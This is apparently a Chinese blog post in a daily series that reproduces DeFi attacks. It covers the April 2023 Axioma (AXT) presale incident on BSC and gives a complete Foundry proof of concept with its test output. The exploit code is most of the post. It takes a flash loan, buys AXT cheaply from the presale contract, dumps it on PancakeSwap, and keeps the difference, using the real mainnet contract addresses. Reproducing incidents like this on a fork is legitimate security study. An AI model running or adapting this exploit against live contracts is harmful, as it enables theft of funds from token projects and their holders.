从今天起,我将每天坚持输出一份DEFI攻击的复现及自己的POC代码编写,与诸君共勉。
整个文档将分为数个部分,包括攻击介绍、攻击分析、POC代码编写及反思。列表就参考DeFiHackLabs
。
# 攻击介绍
2023年4月23日,@HypernativeLabs
发布称BSC
链上的AXT
通证遭受了攻击,攻击者利用Arbi
通证预售的价格差
获取了21WBNB
的利润,约合7K美元。
攻击Tx hash
为0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2
攻击分析
使用phalcon
进行分析,发现这是一个闪电贷攻击。
攻击者0xaaa75b2ae8314ef738062da56e0f09d2d53c43d2
通过DPPoracle
的闪电贷flashLoan
函数进行借款,换取32.5 WBNB
。
攻击者在闪电贷合约的回调函数DPPFlashLoanCall
中与Axioma
的预售合约0x2c25aee99ed08a61e7407a5674bc2d1a72b5d8e3
进行交互,获得了9750 AXT
。
在PancakeSwap
上将AXT
卖掉,又换成了WBNB
,偿还闪电贷,攻击完成。
POC编写
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~ 7K US$
// Event : Axioma Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2
// Attacker : 0xaaa75b2ae8314ef738062da56e0f09d2d53c43d2
// Vulnerable Contract : 0x2c25aee99ed08a61e7407a5674bc2d1a72b5d8e3 (AXT Presale Contract)
// Vulnerable Contract : 0x6a3fa7d2c71fd7d44bf3a2890aa257f34083c90f (Pancake Swap Contract)
// Attack Tx : https://bscscan.com/tx/0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2
// @Info
// FlashLoan Attack, arbitrage
// @Analysis
// DefiHackLab : https://twitter.com/HypernativeLabs/status/1650382589847302145
address constant DPPORACLE_ADDRESS = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address constant PRESALE_ADDRESS = 0x2C25aEe99ED08A61e7407A5674BC2d1A72B5D8E3;
address constant SWAP_ADDRESS = 0x6a3Fa7D2C71fd7D44BF3a2890aA257F34083c90f;
address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant AXT_ADDRESS = 0xB6CF5b77B92a722bF34f6f5D6B1Fe4700908935E;
uint256 constant BORROW_AMOUNT = 30 ether;
contract AxiomaHack is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("bsc",27620320); // Go back before hacking time
console.log("start with block %d",27620320);
console.log("AxiomaHack address %s",address(this));
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
Exploit exploit = new Exploit();
exploit.attack();
console.log("finish hacking...");
emit log_named_decimal_uint("[End] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
}
}
contract Exploit is Test{
address owner;
constructor() {
owner = msg.sender;
console.log("Exploit address %s",address(this));
}
function attack() external {
IDPPORACLE(DPPORACLE_ADDRESS).flashLoan(BORROW_AMOUNT, 0, address(this), "1");
}
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external{
console.log("receiving flashLoan");
emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
WBNB(WBNB_ADDRESS).withdraw(BORROW_AMOUNT);
IPresale(PRESALE_ADDRESS).buyToken{value:BORROW_AMOUNT}();
emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
uint256 axtAmount = IERC20(AXT_ADDRESS).balanceOf(address(this));
emit log_named_decimal_uint("[Hacking] Exploit AXT Balance", axtAmount, 18);
console.log("Swap AXT for WBNB");
address[] memory paths = new address[](2);
paths[0] = AXT_ADDRESS;
paths[1] = WBNB_ADDRESS;
IERC20(AXT_ADDRESS).approve(PANCAKE_ROUTER,type(uint256).max);
IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
axtAmount,1,paths,address(this),block.timestamp *2
);
emit log_named_decimal_uint("[Hacked] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
WBNB(WBNB_ADDRESS).transfer(msg.sender, BORROW_AMOUNT + 1 ether);
WBNB(WBNB_ADDRESS).transfer(owner, WBNB(WBNB_ADDRESS).balanceOf(address(this)));
}
fallback() external payable {
}
}
/* -------------------- Interface -------------------- */
interface IDPPORACLE{
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address _assetTo,
bytes calldata data
) external;
}
interface IPresale {
function buyToken() external payable;
}
输出如下:
[PASS] testExploit() (gas: 3103102)
Logs:
start with block 27620320
AxiomaHack address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
start hacking...
[Start] Attacker WBNB Balance: 0.000000000000000000
Exploit address 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
receiving flashLoan
[Hacking] Exploit WBNB Balance: 30.000000000000000000
[Hacking] Exploit WBNB Balance: 0.000000000000000000
[Hacking] Exploit AXT Balance: 9000.000000000000000000
Swap AXT for WBNB
[Hacked] Exploit WBNB Balance: 50.765903205913794244
finish hacking...
[End] Attacker WBNB Balance: 19.765903205913794244
Test result: ok. 1 passed; 0 failed; finished in 565.12ms
Foundry 测试结果表明,使用闪电贷款套利,成功收获20WBNB
。
反思
老实说,我不认为这个算是DeFi攻击,只是“搬砖”并利用闪电贷放大收益而已。区块链就像是黑暗森林,利益是巨大的,既要攫取果实,也要守护好自己罢了。